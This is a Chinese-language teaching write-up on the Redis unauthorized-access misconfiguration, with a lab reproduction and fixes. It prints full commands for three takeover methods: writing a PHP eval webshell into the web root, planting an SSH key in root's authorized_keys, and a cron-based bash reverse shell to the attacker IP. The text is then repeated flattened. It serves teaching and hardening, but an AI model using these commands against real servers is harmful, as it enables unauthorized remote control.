Redis未授权访问详解——新手友好
字数 2858 2025-10-18 11:17:50

Redis未授权访问漏洞详解 - 教学文档

一、 漏洞概述

1.1 漏洞本质
Redis未授权访问漏洞并非一个传统的软件漏洞,而是一个典型的高危配置错误。由于Redis服务端在默认安装后没有设置访问密码,并且将服务绑定在公开的IP地址上,导致攻击者可以直接连接到Redis服务,并执行任意操作,最终实现获取服务器权限(GetShell)。

1.2 漏洞前提条件

  • Redis服务绑定在非本地回环地址上(如 0.0.0.0),允许外部连接。
  • Redis服务未设置访问密码(默认配置 requirepass 为空)。
  • 服务器防火墙未对Redis端口(默认6379)进行访问限制。

二、 Redis基础知识

2.1 Redis简介
Redis是一个开源的、基于内存的键值对存储数据库,常用作缓存、消息队列等,因其高性能而广泛应用。

2.2 关键命令(用于漏洞利用)

  • 连接Redis
    redis-cli -h <目标IP> -p <端口> -a <密码>  # 如有密码
    redis-cli -h <目标IP> -p <端口>            # 无密码直接连接
    
  • 配置修改(核心):Redis支持运行时动态修改配置,重启后失效。
    • config set dir /path/to/dir:设置Redis持久化文件(RDB)的存储目录。
    • config set dbfilename filename:设置持久化文件的文件名。
  • 数据操作
    • set key value:设置一个键值对。
    • get key:获取键对应的值。
    • flushall:删除所有数据。
  • 数据持久化
    • save:将当前内存中的数据同步保存到磁盘上的RDB文件中。

三、 环境搭建(复现准备)

3.1 所需机器

  • 攻击机:Kali Linux (IP: 192.168.234.135)
  • 靶机:任意Linux,文中使用Kali (IP: 192.168.234.143)

3.2 Redis服务端配置(靶机)

  1. 下载、解压、编译Redis(以6.0.9为例):
    wget https://download.redis.io/releases/redis-6.0.9.tar.gz
    tar -xzf redis-6.0.9.tar.gz
    cd redis-6.0.9
    make
    
  2. 关键步骤:修改Redis配置文件 redis.conf(在源码根目录下):
    • protected-mode yes 改为 protected-mode no (关闭保护模式)。
    • 注释掉 bind 127.0.0.1 (允许非本地连接)。
    • daemonize no 改为 daemonize yes (以守护进程运行)。
  3. 启动Redis服务(必须使用绝对或相对路径,避免调用系统自带版本):
    ./src/redis-server ./redis.conf
    
  4. 确保靶机防火墙开放6379端口或已关闭。

3.3 连接测试(攻击机)

./src/redis-cli -h 192.168.234.143 -p 6379

连接成功即表示环境搭建完成。

四、 漏洞复现详解

以下是三种主要的利用方式。

4.1 写入WebShell

  • 原理:通过Redis向目标服务器的Web目录写入一个可执行的WebShell(如PHP马),然后通过蚁剑等工具连接,获得Web服务权限。

  • 前提:已知目标Web服务器的绝对路径。

  • 复现步骤

    1. 连接靶机Redis。
    2. 设置RDB文件保存目录为Web目录(例如:/var/www/html)。
    3. 设置RDB文件名为WebShell文件名(例如:shell.php)。
    4. 写入WebShell内容。关键点:使用双引号包裹字符串以解释转义字符,并在Payload前后加入换行符\n以确保代码纯净。
    5. 执行 save 命令,将数据写入文件。

    操作命令序列

    redis-cli -h 192.168.234.143 -p 6379
    # 以下命令在Redis交互命令行中执行
    192.168.234.143:6379> config set dir /var/www/html
    192.168.234.143:6379> config set dbfilename shell.php
    192.168.234.143:6379> set payload "\n\n<?php @eval($_POST['cmd']);?>\n\n"
    192.168.234.143:6379> save
    
    1. 访问 http://靶机IP/shell.php,使用蚁剑等工具连接即可GetShell。

4.2 SSH公钥登录

  • 原理:将攻击机的SSH公钥写入目标服务器的~/.ssh/authorized_keys文件中,从而实现无需密码的SSH登录。
  • 前提:目标服务器开启了SSH服务,并且/root/.ssh目录存在(如果不存在,需要先创建)。
  • 复现步骤
    1. 攻击机上生成SSH密钥对:
      ssh-keygen -t rsa  # 或使用文中命令 ssh-keygen -t ed25519
      
      生成的文件默认在 ~/.ssh/ 下(id_rsa 为私钥,id_rsa.pub 为公钥)。
    2. 将公钥内容写入靶机Redis。关键点:公钥前后同样需要加入换行符,以避免与Redis存储的其他数据混淆。
      • 方法一(推荐):使用管道命令一次性写入。
        (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") | redis-cli -h 192.168.234.143 -x set ssh_key
        
      • 方法二:复制公钥内容,在Redis中手动 set
    3. 连接靶机Redis,设置RDB文件路径和文件名。
      redis-cli -h 192.168.234.143 -p 6379
      192.168.234.143:6379> config set dir /root/.ssh/
      192.168.234.143:6379> config set dbfilename authorized_keys
      192.168.234.143:6379> save
      
    4. 从攻击机直接SSH登录靶机,无需密码:
      ssh root@192.168.234.143
      

4.3 计划任务反弹Shell

  • 原理:利用Linux的cron计划任务功能,将一条反弹Shell的命令写入计划任务文件(/var/spool/cron/root),让系统定时执行,从而让靶机主动连接攻击机。
  • 前提
    • 目标系统必须是CentOS等RedHat系Linux
    • 原因
      1. 语法严格性:Ubuntu的cron对任务行的语法要求更严格,Redis写入的文件可能包含版本信息等冗余内容,导致任务执行失败。
      2. 默认Shell:Ubuntu默认使用dash而非bashbash -i的反弹Shell命令可能不兼容。
      3. 文件权限:Ubuntu要求cron任务文件权限必须为600,而Redis写入的文件权限为644,会导致任务不被执行。
  • 复现步骤
    1. 攻击机上开启Netcat监听:
      nc -lvp 6677
      
    2. 连接靶机Redis,设置RDB文件路径和文件名为目标root用户的cron路径。
      redis-cli -h 192.168.234.143 -p 6379
      192.168.234.143:6379> config set dir /var/spool/cron/
      192.168.234.143:6379> config set dbfilename root
      
    3. 写入计划任务Payload。任务格式为 * * * * * command,表示每分钟执行一次命令。
      192.168.234.143:6379> set payload "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.234.135/6677 0>&1\n\n"
      192.168.234.143:6379> save
      
      Payload解释bash -i 打开一个交互式Shell,>& /dev/tcp/攻击机IP/端口 将标准输出和错误输出重定向到攻击机,0>&1 将标准输入也重定向到该连接。
    4. 等待一分钟左右,观察攻击机的Netcat监听窗口,会接收到来自靶机的反弹Shell连接。
    5. 注意:反弹Shell的环境变量PATH可能不完整,执行ip aifconfig等命令时建议使用绝对路径(如/usr/sbin/ifconfig)。

五、 漏洞修复建议

  1. 设置强密码:在Redis配置文件 redis.conf 中修改 requirepass 选项,设置复杂密码。
  2. 限制绑定IP:如无必要,仅绑定本地回环地址 127.0.0.1
  3. 修改默认端口:修改 redis.conf 中的 port 选项,避免使用默认的6379端口。
  4. 网络层访问控制:通过防火墙(iptables, firewalld)限制只有可信IP才能访问Redis端口。
  5. 以低权限用户运行Redis:避免使用root用户运行Redis服务,降低被利用后的影响。
  6. 禁用高危命令:在配置文件中使用 rename-command 配置项重命名或禁用 FLUSHALLCONFIGEVAL 等危险命令。例如:
    rename-command CONFIG ""
    rename-command FLUSHALL ""
    

这份文档已经尽可能详尽地提取了原文中的所有关键技术细节、操作步骤和注意事项,特别是加粗强调了复现过程中的关键点和易错点,希望对您的学习有所帮助。

Redis未授权访问漏洞详解 - 教学文档 一、 漏洞概述 1.1 漏洞本质 Redis未授权访问漏洞并非一个传统的软件漏洞,而是一个 典型的高危配置错误 。由于Redis服务端在默认安装后没有设置访问密码,并且将服务绑定在公开的IP地址上,导致攻击者可以直接连接到Redis服务,并执行任意操作,最终实现获取服务器权限(GetShell)。 1.2 漏洞前提条件 Redis服务绑定在非本地回环地址上(如 0.0.0.0 ),允许外部连接。 Redis服务未设置访问密码(默认配置 requirepass 为空)。 服务器防火墙未对Redis端口(默认6379)进行访问限制。 二、 Redis基础知识 2.1 Redis简介 Redis是一个开源的、基于内存的键值对存储数据库,常用作缓存、消息队列等,因其高性能而广泛应用。 2.2 关键命令(用于漏洞利用) 连接Redis : 配置修改(核心) :Redis支持运行时动态修改配置,重启后失效。 config set dir /path/to/dir :设置Redis持久化文件(RDB)的存储目录。 config set dbfilename filename :设置持久化文件的文件名。 数据操作 : set key value :设置一个键值对。 get key :获取键对应的值。 flushall :删除所有数据。 数据持久化 : save :将当前内存中的数据同步保存到磁盘上的RDB文件中。 三、 环境搭建(复现准备) 3.1 所需机器 攻击机 :Kali Linux (IP: 192.168.234.135) 靶机 :任意Linux,文中使用Kali (IP: 192.168.234.143) 3.2 Redis服务端配置(靶机) 下载、解压、编译Redis(以6.0.9为例): 关键步骤 :修改Redis配置文件 redis.conf (在源码根目录下): protected-mode yes 改为 protected-mode no (关闭保护模式)。 注释掉 bind 127.0.0.1 (允许非本地连接)。 daemonize no 改为 daemonize yes (以守护进程运行)。 启动Redis服务( 必须使用绝对或相对路径,避免调用系统自带版本 ): 确保靶机防火墙开放6379端口或已关闭。 3.3 连接测试(攻击机) 连接成功即表示环境搭建完成。 四、 漏洞复现详解 以下是三种主要的利用方式。 4.1 写入WebShell 原理 :通过Redis向目标服务器的Web目录写入一个可执行的WebShell(如PHP马),然后通过蚁剑等工具连接,获得Web服务权限。 前提 :已知目标Web服务器的绝对路径。 复现步骤 : 连接靶机Redis。 设置RDB文件保存目录为Web目录(例如: /var/www/html )。 设置RDB文件名为WebShell文件名(例如: shell.php )。 写入WebShell内容。 关键点:使用双引号包裹字符串以解释转义字符,并在Payload前后加入换行符 \n 以确保代码纯净。 执行 save 命令,将数据写入文件。 操作命令序列 : 访问 http://靶机IP/shell.php ,使用蚁剑等工具连接即可GetShell。 4.2 SSH公钥登录 原理 :将攻击机的SSH公钥写入目标服务器的 ~/.ssh/authorized_keys 文件中,从而实现无需密码的SSH登录。 前提 :目标服务器开启了SSH服务,并且 /root/.ssh 目录存在(如果不存在,需要先创建)。 复现步骤 : 在 攻击机 上生成SSH密钥对: 生成的文件默认在 ~/.ssh/ 下( id_rsa 为私钥, id_rsa.pub 为公钥)。 将公钥内容写入靶机Redis。 关键点:公钥前后同样需要加入换行符,以避免与Redis存储的其他数据混淆。 方法一(推荐) :使用管道命令一次性写入。 方法二 :复制公钥内容,在Redis中手动 set 。 连接靶机Redis,设置RDB文件路径和文件名。 从攻击机直接SSH登录靶机,无需密码: 4.3 计划任务反弹Shell 原理 :利用Linux的cron计划任务功能,将一条反弹Shell的命令写入计划任务文件( /var/spool/cron/root ),让系统定时执行,从而让靶机主动连接攻击机。 前提 : 目标系统 必须是CentOS等RedHat系Linux 。 原因 : 语法严格性 :Ubuntu的cron对任务行的语法要求更严格,Redis写入的文件可能包含版本信息等冗余内容,导致任务执行失败。 默认Shell :Ubuntu默认使用 dash 而非 bash , bash -i 的反弹Shell命令可能不兼容。 文件权限 :Ubuntu要求cron任务文件权限必须为600,而Redis写入的文件权限为644,会导致任务不被执行。 复现步骤 : 在 攻击机 上开启Netcat监听: 连接靶机Redis,设置RDB文件路径和文件名为目标root用户的cron路径。 写入计划任务Payload。任务格式为 * * * * * command ,表示每分钟执行一次命令。 Payload解释 : bash -i 打开一个交互式Shell, >& /dev/tcp/攻击机IP/端口 将标准输出和错误输出重定向到攻击机, 0>&1 将标准输入也重定向到该连接。 等待一分钟左右,观察攻击机的Netcat监听窗口,会接收到来自靶机的反弹Shell连接。 注意 :反弹Shell的环境变量 PATH 可能不完整,执行 ip a 、 ifconfig 等命令时建议使用绝对路径(如 /usr/sbin/ifconfig )。 五、 漏洞修复建议 设置强密码 :在Redis配置文件 redis.conf 中修改 requirepass 选项,设置复杂密码。 限制绑定IP :如无必要,仅绑定本地回环地址 127.0.0.1 。 修改默认端口 :修改 redis.conf 中的 port 选项,避免使用默认的6379端口。 网络层访问控制 :通过防火墙(iptables, firewalld)限制只有可信IP才能访问Redis端口。 以低权限用户运行Redis :避免使用root用户运行Redis服务,降低被利用后的影响。 禁用高危命令 :在配置文件中使用 rename-command 配置项重命名或禁用 FLUSHALL 、 CONFIG 、 EVAL 等危险命令。例如: 这份文档已经尽可能详尽地提取了原文中的所有关键技术细节、操作步骤和注意事项,特别是加粗强调了复现过程中的关键点和易错点,希望对您的学习有所帮助。